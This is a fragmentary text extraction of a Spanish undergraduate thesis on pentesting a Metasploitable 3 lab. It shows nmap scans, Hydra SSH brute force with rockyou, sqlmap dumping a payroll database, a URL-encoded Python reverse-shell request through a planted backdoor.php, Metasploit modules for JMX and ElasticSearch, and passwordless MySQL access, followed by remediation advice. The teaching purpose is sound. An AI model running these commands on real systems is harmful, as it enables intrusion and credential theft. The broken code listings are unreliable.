Pentesting en Entornos Controlados
Pentesting en Entornos Controlados
D. Juan Carlos Pérez Darias, con N.I.F. 45.441.625-L profesor Titular de Univer-
sidad adscrito al Departamento de Física de la Universidad de La Laguna, como
cotutor
C E R T I F I C A (N)
ha sido realizada bajo su dirección por D. José Javier Acosta Santana, con N.I.F.
42.244.918-J.
For this purpose we will use open source Pentesting tools or tools that have
a free version, so that the content explained in this Final Degree Project can be
used for educational purposes. For example these tools could be used (Nmap,
Burpsuite, SQLmap and many others). Also The OWASP security audit methodo-
logy will be used, in which there will be clear phases: Reconnaissance, Analysis
of vulnerabilities, Exploitation and Post Exploitation. Finally, the results obtained
will be analyzed and a report will be developed with possible solutions and re-
commendations.
1. Introducción 1
1.2.3. Explotación . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.4. Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2. Laboratorio de pruebas 5
3. Herramientas utilizadas 8
3.1. Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3.3. Netcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
I
3.4. Hydra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.6. SQLmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.7. MetaSploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
5. Explotación 16
6. Escalada de privilegios 33
7. Soluciones y Recomendaciones 36
II
7.0.2. Solución Servidor ProFTPD . . . . . . . . . . . . . . . . . . . . . . . . 36
8. Conclusiones 38
8.1. Conclusión . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
9.1. Conclusions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
10. Presupuesto 41
III
Índice de Figuras
5.8. CVE-2015-3306 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.15.CVE-2015-2342 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
IV
5.20.CVE-2015-8249 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
V
Índice de Tablas
VI
Capítulo 1
Introducción
1
Se puede hacer una auditoría a una aplicación web, realizar ataque de ingenie-
ría social e intentar obtener acceso a la red interna del cliente, actuar como un
empleado malintencionado e intentar explotar las vulnerabilidades desde dentro,
simular ser un cibercriminal y atacar la organización desdes fuera, etc...
2
1.2.3. Explotación
Esta fase va de la mano con la fase de explotación, ya que una vez se obtie-
ne acceso al sistema del cliente se intenta obtener privilegios de administrador
simulando el comportamiento de un cibercriminal. En esta fase también se le da
importancia a la vulnerabilidad explotada, ya que no es lo mismo acceder a un
servidor que está aislado que acceder al controlador de dominio del cliente. Es
decir el riesgo de la vulnerabilidad depende de la capacidad que obtenga el ci-
bercriminal una vez se ha infiltrado en el sistema.
3
1.4. Objetivos
Con esta propuesta de Trabajo de Fin de Grado se pretende realizar una audito-
ría de caja negra usando diferentes herramientas de pentesting que nos permitan
aprovechar vulnerabilidades presentes en el sistema para conseguir infiltrarnos co-
mo atacante en un entorno controlado y conseguir un usuario privilegiado en la
máquina víctima.
4
Capítulo 2
Laboratorio de pruebas
El IaaS es una plataforma de virtualización que funciona con Ovirt [22]. El ser-
vicio consiste en ofrecer recursos de computación, a través de una plataforma de
virtualización sobre KVM [20] basada en permisos que permite asignar a cada in-
dividuo privilegios concretos según sus necesidades.
5
Figura 2.1: Topología de la red
6
1 git clone https :// github .com/ rapid7 / metasploitable3 .git
Se exporta.
7
Capítulo 3
Herramientas utilizadas
3.1. Nmap
Para realizar el escaneo de los puertos utilizaremos la herramienta nmap. En
breves palabras Nmap [6] o “Network Mapper” es una herramienta gratuita y de
código abierto que se utiliza para el análisis de redes y las auditorías de seguridad.
Utiliza el envío de paquetes para determinar qué equipos están disponibles en la
red, qué servicios ofrecen los mismos, qué sistemas operativos utilizan y muchas
más características. En este caso utilizaré el siguiente escaneo para las distintas
máquinas que voy a atacar.
1 sudo nmap -p- --open -sS -sV -T5 -Pn -O -vvv 192.168.1.254 -oG allPorts
Uso sudo porque para ejecutar este tipo de escaneo es necesario ser superusuario.
[-p-]: Se utiliza para indicar que se quiere escanear todo el rango de puertos.
[–open]: Se usa para que solo analice los puertos abiertos, ya que son los que
nos interesan para infiltrarnos en la máquina.
[-sS]: Hace que el escaneo utilice la técnica TCP SYN, la cual omite el último
paso del TCP handshake enviando un RST siendo así invisible para los históricos
del sistema.
8
[-Pn]: Deshabilita el escaneo ping, ya que nmap previamente a los escaneos
identifica si las máquinas están encendidas con un escaneo ping y al estar en un
entorno controlado omitimos esa prueba, ya que sabemos que el host está activo.
[-O]: Activa la detección de sistema operativo, para que Nmap trate de identi-
ficar el sistema operativo de la máquina escaneada, es decir realice fingerprinting.
[-vvv]: Activa la verbosidad en su máximo modo, para que según vaya descu-
briendo puertos abiertos y sus respectivas versiones los muestre por consola.
3.3. Netcat
Netcat [5] es una herramienta todoterreno, ya que puede realizar multitud de
tareas en la red. También es popular entre los administradores de redes y sistemas,
por su facilidad y versatilidad.
No obstante, Netcat tiene usos maliciosos, que serán los que usaremos en es-
te Trabajo de fin de Grado. Concretamente lo utilizaremos para realizar la técnica
llamada Reverse shell [24], en la que nos ponemos en escucha en un puerto de
nuestra máquina local y obtenemos una consola interactiva enviada por un orde-
nador remoto. Con ella podremos conseguir escalar privilegios y convertirnos en
administrador o simplemente inyectar malware en el ordenador al que hemos
accedido. Generalmente llamaremos a la herramienta Netcat de la siguiente ma-
9
nera:
1 nc -lvp 1234
[v]: Habilita el modo verbose, el cual nos reporta conexiones por consola entre
otras.
3.4. Hydra
Hydra [4] es una herramienta desarrollada para robar contraseñas, aprove-
chándose del método conocido como fuerza bruta. La técnica de fuerza bruta
consiste en probar muchisimas contraseñas hasta obtener la que nos permita ini-
ciar sesión. Además hay otro método que es utilizar diccionarios, que son coleccio-
nes de palabras y contraseñas comúnes.Por ello si el usuario utiliza una contraseña
débil será mucho más fácil aplicar este vector de ataque. También Hydra es gratui-
to y de código abierto, contando con más de 30 protocolos compatibles, donde
podemos probar y ver si una contraseña es explotable o es realmente fuerte. Para
la realización del Trabajo de Fin de Grado utilizaremos la siguiente línea de código:
1 hydra -L $usuarios -P $Diccionario 192.168.1.254 -t 4 -e nsr -v ssh
[-L]: Permite pasarle a Hydra una lista de usuarios con los que probar las con-
traseñas. Si usaramos la opción -l solo admitiría un usuario.
Burp Suite incorpora varías herramientas, aunque se explicarán solo las nece-
sarias para comprender el desarrollo de este Trabajo de Fin de Grado. Dicho esto,
la herramienta por excelencia es el Proxy, que puede interceptar peticiones y res-
10
puestas HTTP y HTTPS, para luego editarlas antes de enviarlas al servidor destino.
Su principal utilidad es editar las peticiones interceptadas para ver como reaccio-
na el servidor al recibirlas. La herramientas de Burp Suite están integradas con el
Proxy pudiendo importar y exportar las peticiones realizadas. En segundo lugar
tenemos el Repeater que es una herramienta en la que se importan las peticio-
nes del Proxy, una vez tenemos la petición podremos realizarle modificaciones
y ver las respuestas del otro lado, por lo que podemos cambiar la petición a vo-
luntad viendo las respuestas que nos da el servidor objetivo. Esta herramienta es
especialmente útil para comprobar si los parámetros enviados en las peticiones
son vulnerables por ejemplo a SQLi (SQL injection) [35] . Para concluir se explicará
el Intruder, el cuál es capaz de importar la petición del Proxy y configurar cargas
útiles(payloads) para luego ejecutarlas automáticamente obteniendo las respues-
tas del servidor. Aunque estas no son todas las funcionalidades de Burp Suite las
mencionadas previamente son las necesarias para comprender el contenido de-
sarrollado.
3.6. SQLmap
SQLmap [7] es una herramienta de Pentesting de código abierto que automa-
tiza el proceso de detección y explotación de inyecciones SQL y toma de control
de los servidores de bases de datos. SQLmap es una herramienta desarrollada en
python para explotar la vulnerabilidad SQLi (SQL injection) automáticamente. Se
basa en encontrar y abusar de SQLi en aplicaciones web. Una vez que encuentra
una mala configuración en la máquina víctima, el atacante puede aprovecharse
de ellas para obtener datos de la base de datos. Aunque generalmente se suele
obtener toda la información de las bases de datos, para después obtener creden-
ciales válidas en el sistema. Dado que SQLmap tiene una amplía colección de
opciones y un procedimiento en el que debemos ejecutar la herramienta varías
veces explicaré las opciones individualmente.
[-r]: Esta opción se utiliza para pasarle ficheros que contengan peticiones http,
en este le he enviado una que está capturada con la herramienta burpsuite.
1 POST / payroll_app .php HTTP /1.1
2 Host: 192.168.1.181
3 Content - Length : 22
4 Cache - Control : max -age =0
5 Upgrade -Insecure - Requests : 1
6 Origin : http ://192.168.1.181
7 Content -Type: application /x-www -form - urlencoded
8 User -Agent: Mozilla /5.0
9 Referer : http ://192.168.1.181/ payroll_app .php
10 Accept - Encoding : gzip , deflate
11 Accept - Language : es -ES ,es;q=0.9
12 Connection : close
13
11
Listado 3.1: Petición http capturada con Burpsuite
[–dbs]: Lista todas las bases de datos que hay disponibles, para seleccionar una
usamos -D seguido de su nombre.
[–tables]: Lista todas las tablas que hay dentro de una base de datos que tiene
que ser seleccionada previamente, para seleccionar una usamos -T seguido de su
nombre.
[–columns]: Lista todas las columnas que hay en una tabla seleccionada pre-
viamente, para seleccionar una usamos -C seguido de su nombre.
[–dump]: Lista todas los datos de una tabla y los muestra por pantalla.
3.7. MetaSploit
La herramienta MetaSploit [30] es un programa de software libre, concreta-
mente desarrollado para ayudar al usuario en las auditorias de seguridad. Me-
taSploit provee de una gran cantidad de exploits, que se pueden ejecutar con-
tra máquinas que presenten las vulnerabilidades para las que el exploit ha sido
desarrollado. Además MetaSploit permite importar y exportar los exploits de la
plataforma. También tiene una serie de shell codes , como por ejemplo el de una
reverse shell en python [10].
En conclusión MetaSploit bien usado es una herramienta muy versátil, que nos
puede ayudar de muchísimas formas a la hora de realizar una auditoría , ya que
una vez encontrada la vulnerabilidad es muy fácil explotarla. Hay veces que los
exploits hay que modificarlos, aunque no suele ser el caso, ya que la plataforma
nos permite indicarle la dirección ip de la víctima o el puerto en el que está el
servicio que queremos explotar.
12
3.8. ¿Qué es un CVE?
Los CVE (Common Vulnerabilities and Exposures) son una lista de agujeros de
seguridad que es pública. Cuando hablamos de un CVE nos referimos al reporte
que se realiza sobre una vulnerabilidad en concreto, cada uno tiene su propio
código, por ejemplo uno tratado en este Trabajo de Fin de Grado es el CVE-2015-
8249, que se corresponde con una vulnerabilidad del servicio Manage Engine.
Además todos los CVE tienen un campo de gravedad, que en el caso del anterior
es considerado como alta, ya que nos permite obtener acceso al sistema. Los CVE
tienen un conjunto de características comunes que son:
Este tipo de herramientas son muy utilizadas por los cibercriminales, ya que
indican donde se encuentra el fallo de seguridad. Generalmente cuando se publica
un CVE, se publica también en paralelo un exploit (Código que automatiza una
intrusión) que se aprovecha de la vulnerabilidad publicada en ese CVE.
13
Capítulo 4
Como se puede observar hay diez puertos abiertos, en los que tenemos di-
ferentes servicios con sus respectivas versiones, algunas de ellas vulnerables. Una
vez realizado el escaneo se comenzará a analizar los servicios encontrados para
detectar si tienen alguna vulnerabilidad conocida de la que el atacante puede
aprovecharse para realizar acciones maliciosas en la máquina víctima.
14
Figura 4.2: Escaneo de Windows
Como se puede observar hay cuarenta puertos abiertos, en los que tenemos
diferentes servicios con sus respectivas versiones (no mostrado, algunas de ellas
vulnerables. En este caso la máquina Windows tiene más puertos abiertos, por lo
que el atacante podrá encontrar más vulnerabilidades en el sistema. Una vez reali-
zado el escaneo se comenzará a analizar los servicios encontrados para detectar si
tienen alguna vulnerabilidad conocida de la que el atacante puede aprovecharse
para realizar acciones maliciosas en la máquina víctima.
15
Capítulo 5
Explotación
16
Figura 5.1: Test XSS
Llamamos SQL injection [35] a una vulnerabilidad web que permite al atacan-
te interferir en las consultas SQL que la aplicación realiza a su base de datos. Este
tipo de ataques permite al atacante acceder a datos a los que de forma normal no
podría acceder, como por ejemplo contraseñas de los usuarios o datos de la apli-
cación. Esta vulnerabilidad es un gran problema ya que el atacante puede realizar
17
operaciones en la base de datos, cambiando así el contenido o funcinamiento de
la misma.
Lo que está pasando es que la consulta que se está realizando tiene el siguiente
formato:
1 SELECT * FROM USUARIOS WHERE USERNAME =User
2 AND PASSWORD = Password ;
Como resultado la consulta final estará seleccionando todos los campos de la tabla
USUARIOS siempre que el campo USERNAME este vacío o cuando 1 sea igual a 1,
esta última condición se cumple siempre, así que la consulta nos devolverá todos
lo datos guardados en la tabla USERNAME (Figura: 5.4).
18
Figura 5.4: Bases de datos en el servidor víctima
19
Sin embargo ahora que sabemos que hay un parámetro vulnerable a SQLi no se
obtendrá solo la información de una tabla, sino que indagaremos en toda las bases
de datos, para obtener toda la información que necesitemos para otros vectores
de ataque. Para ello usaremos las herramienta BurpSuite junto con SQLmap.
Obtenemos todas las bases de datos que tiene la aplicación, en este caso la
que más nos interesa es la base de datos payroll. Por lo que mostramos sus tablas
(Figura 5.6).
20
1 sqlmap -r /home/m00d/ Desktop /TFG/sqli/burp.req
2 --data='user=a& password =a&s=OK ' -p user -D payroll
3 --tables
21
5.2. Vulnerabilidades de servicios
En esta sección se describirán las vulnerabilidades relacionadas con los servi-
cios ofrecidos por un servidor, explicando cómo abusar de las malas configuracio-
nes o prácticas inseguras realizadas en ellos.
Los comandos serán ejecutados en la webshell por el usuario www-data con bajos
privilegios.
22
Figura 5.9: Web shell obtenida con la explotación
23
Figura 5.10: Salida del script desarrollado
Aunque como lo que estamos usando es una webshell, este código malicioso tiene
que ir codificado en forma de url, siendo la petición final:
1 http ://192.168.1.254/ backdoor .php?cmd= python %20-c %20 %27import %20socket %
2 2 Csubprocess %2Cos %3Bs %3Dsocket . socket %28socket . AF_INET %2Csocket .
3 SOCK_STREAM %29 %3Bs. connect %28 %28 %22192.168.1.253 %22 %2 C1234 %29 %29
24
Figura 5.11: Reverse Shell obtenida
En el puerto 22 está el servicio ssh activo siendo en este caso OpenSSH [13].
Realizando una búsqueda del servicio con su versión no se encuentra ningún CVE
ni ningún exploit relacionado en exploit database. Entonces descartando varias
opciones y teniendo en cuenta que previamente se ha obtenido un listado de
usuarios usaremos la herramienta Hydra, para ello se desarrollará un script en
bash. En el script se usa principalmente el comando:
1 hydra -L /home/ usuario / ubuntu /ssh/ users .txt
2 -P /home/ usuario / ubuntu /ssh/ rockyou .txt
3 192.168.1.254 -t 4 -e nsr -v ssh
25
que sea aún más fácil encontrarla, ya que casi todas las herramientas de vectores
de ataque de fuerza bruta hacen esta comprobación antes de empezar con el
ataque por diccionario.
Nos fijamos y Jenkins tiene una funcionalidad llamada Consola de scripts que
debería estar deshabilitada, pero en este caso no lo está. La Consola de scripts
(Figura 5.13 ) fue diseñada para ejecutar scripts en el lenguaje Groovy y automa-
tizar procesos, pero si tenemos libre acceso a una consola en la que podemos
introducir código siempre podemos darle un uso abusivo. Entonces nuestro vec-
tor de ataque será ejecutar scripts maliciosos, concretamente haremos un script
en Groovy(mucha similaridad con Java) que nos envíe una reverse shell a nuestra
máquina atacante al puerto que queramos.
26
Figura 5.14: Reverse shell obtenida después de la explotación
En el puerto 1617 observamos que corre el servicio JMX [9] y después de una
breve búsqueda identificamos que se trata de una versión vulnerable y que existe
un módulo de la herramienta MetaSploit que abusa de la vulnerabilidad. Además
también tiene un CVE asociado, siendo este el CVE-2015-2342 (5.15).
”La aplicación vCenter de VMware [16] utiliza la tecnología Java Virtual Ma-
chine (JVM) y admite el uso de extensiones de administración de Java (JMX). Se
configura un agente JMX para permitir la gestión remota de las máquinas virtua-
les. El agente JMX utiliza Mbeans. Cualquier objeto que se implemente como un
MBean y se registre con el agente JMX se puede administrar desde fuera de la
máquina virtual Java.
27
ploit, resultado en Figura 5.16:
1 use exploit / multi /misc/ java_jmx_server
2 set RHOST 192.168.3.16
3 set RPORT 1617
4 exploit
En el puerto 9200 se encuentra el servicio Elastic Search [3], tras una breve
búsqueda realizada en la fase anterior encontramos que tiene un CVE asociado,
concretamente CVE-2014-3120.
28
3 set TARGET target -id
4 set RHOST 192.168.3.16
5 exploit
En el puerto 3306 vemos el servicio MySQL [12], en este caso nos aprovechare-
mos de una configuración pobre, en la que se permite la autenticación sin contra-
seña. Como atacantes nos interesa conseguir la información sensible de las bases
de datos como por ejemplo credenciales de los distintos usuarios. En primer lugar
entramos a las bases de datos con el comando, obteniendo el resultado mostrado
en la Figura 5.18:
1 mysql -h 192.168.3.16 -u root
29
Figura 5.18: Intrusión en el servido MySQL
30
Figura 5.20: CVE-2015-8249
31
mos privilegios de administrador, como se muestra en la Figura 5.21.
32
Capítulo 6
Escalada de privilegios
33
el siguiente programa de ejemplo:
1 # include <string .h>
2 # include ‹stdio .h>
3 void func (char *arg) {
4 char nombre [32];
5 strepy (nombre , arg);
6 printf ("\ nBienvenido a Linux Exploiting s\n\n", nombre );
7 int main (int argc , char *argv []) {
8
34
Figura 6.2: Doble ejecución de la función al corromper la pila
Por último se nos plantea una última pregunta ¿Que pasaría si el programa
tiene el permiso Setuid? y la respuesta es bastante sencilla, obtendríamos una
sesión como el usuario root. Además de las técnicas explicadas se pueden utilizar
otras más avanzadas que facilitanla explicación, pero quería demostrar un ejemplo
a bajo nivel de la vulnerabilidad.
35
Capítulo 7
Soluciones y Recomendaciones
Para solucionar esta vulnerabilidad tenemos que aplicar los parches necesarios
para el servidor ProFTPD, ya que la versión actual está desfasada y en las versiones
actuales no se presenta la vulnerabilidad explotada previamente.
El servicio ssh no tiene una mala configuración como tal, al igual que el servicio
WinRM. Lo que falla esta vez es la fortaleza de las contraseñas de los usuarios, ya
que por fuerza bruta es muy fácil obtener las contraseñas de los usuarios obtenidos.
Así que en este caso la recomendación es establecer una política de contraseñas
más robusta.
Para el servicio Jenkins hay una solución bastante sencilla que es desactivar
la consola de scripts o aislarla de manera que solo ciertos usuarios puedan acce-
der a ella, de esta forma los atacantes tendrían que previamente comprometer al
usuario. Aunque se recomienda su desactivación en caso de no ser estrictamente
necesaria.
36
7.0.5. Solución Servicios JMX, ElasticSearch, ManageEngine
Para los servicio JMX, ElasticSearch, ManageEngine deberemos aplicar las ac-
tualizaciones. Actualmente se encuentran en unas versiones antiguas, pero los fa-
llos de seguridad explotados se solucionan en parches posteriores a la versiones
actualmente instaladas.
En este caso ambas son malas configuraciones que se pueden mitigar de una
forma fácil. En primer lugar en el servidor MySQL debería establecerse una con-
traseña y no permitir el acceso sin aportar la contraseña. En segundo lugar habría
que configurar los sudoers bien, restringiendo a los usuarios a ciertos comandos.
37
Capítulo 8
Conclusiones
8.1. Conclusión
Actualmente dentro de la informática el campo al que conocemos como ci-
berseguridad sigue en constante desarrollo, tanto su lado ofensivo, como su lado
defensivo. Asimismo a la par que evolucionan las defensas aplicadas por las or-
ganicaciones avanza el desarrollo de ciberataques mucho mas devastadores, pla-
neados y sofisticados. Además en ellos se realiza un estudio de la víctima para
identificar los servicios críticos de la organización y depués de haberlos compro-
metido extorsionar a la víctima, ya sea con filtrar información, denegar sus servicios
o encriptar sus datos.
38
que si un servicio está bien protegido y con una buena configuración, pero se
obtienen unas credenciales válidas debido a que un usuario cae en una campaña
de Phising se podrá acceder al sistema. Por lo tanto queda mucho camino por
recorrer, sobretodo en la concienciación del usuario con un perfil no técnico.
39
Capítulo 9
9.1. Conclusions
Currently within computing, the field we know as cybersecurity is constantly
developing, both its offensive and defensive sides. Likewise, as the defenses applied
by organizations evolve, the development of much more devastating, planned and
sophisticated cyberattacks advances. In addition, a study of the victim is perfor-
med in them to identify the critical services of the organization and after having
compromised them, extort money from the victim, either by leaking information,
denying their services or encrypting their data.
In this End-of-Degree Project, vulnerabilities that are complex and others that
are simpler in a controlled environment such as the MetaSploitable 3 machine
have been exposed. Basic vulnerabilities are still found in many companies today.
Generally, in the company, the user is the weakest point and tries to avoid many
security measures implemented, such as the double authentication factor or the
password policy.
Finally, Pentesting is a very useful tool when it is well used, but it is useless
if user awareness is not sufficient, because if a service is well protected and well
configured, but valid credentials were leaked because a user falls for a Phising
campaign the cybercriminal will be able to access the system. Therefore, there is
still a long way to go, especially in non-technical user awareness.
40
Capítulo 10
Presupuesto
Todas las herramientas utilizadas son de código abierto o gratuitas, por lo que
el presupuesto se basará en la duración de la asignartura del Trabajo de Fin de
Grado y el salario de un analista de ciberseguridad que realice el proyecto. Además
incluiré el material que he necesitado para llevar a cabo la auditoría.
41
Bibliografía
42
[18] Exploit database. https://www.exploit-db.com/.
43
[36] rapid 7. Repositorio de la máquina Metasploitable 3. https://github.com/
rapid7/metasploitable3.
44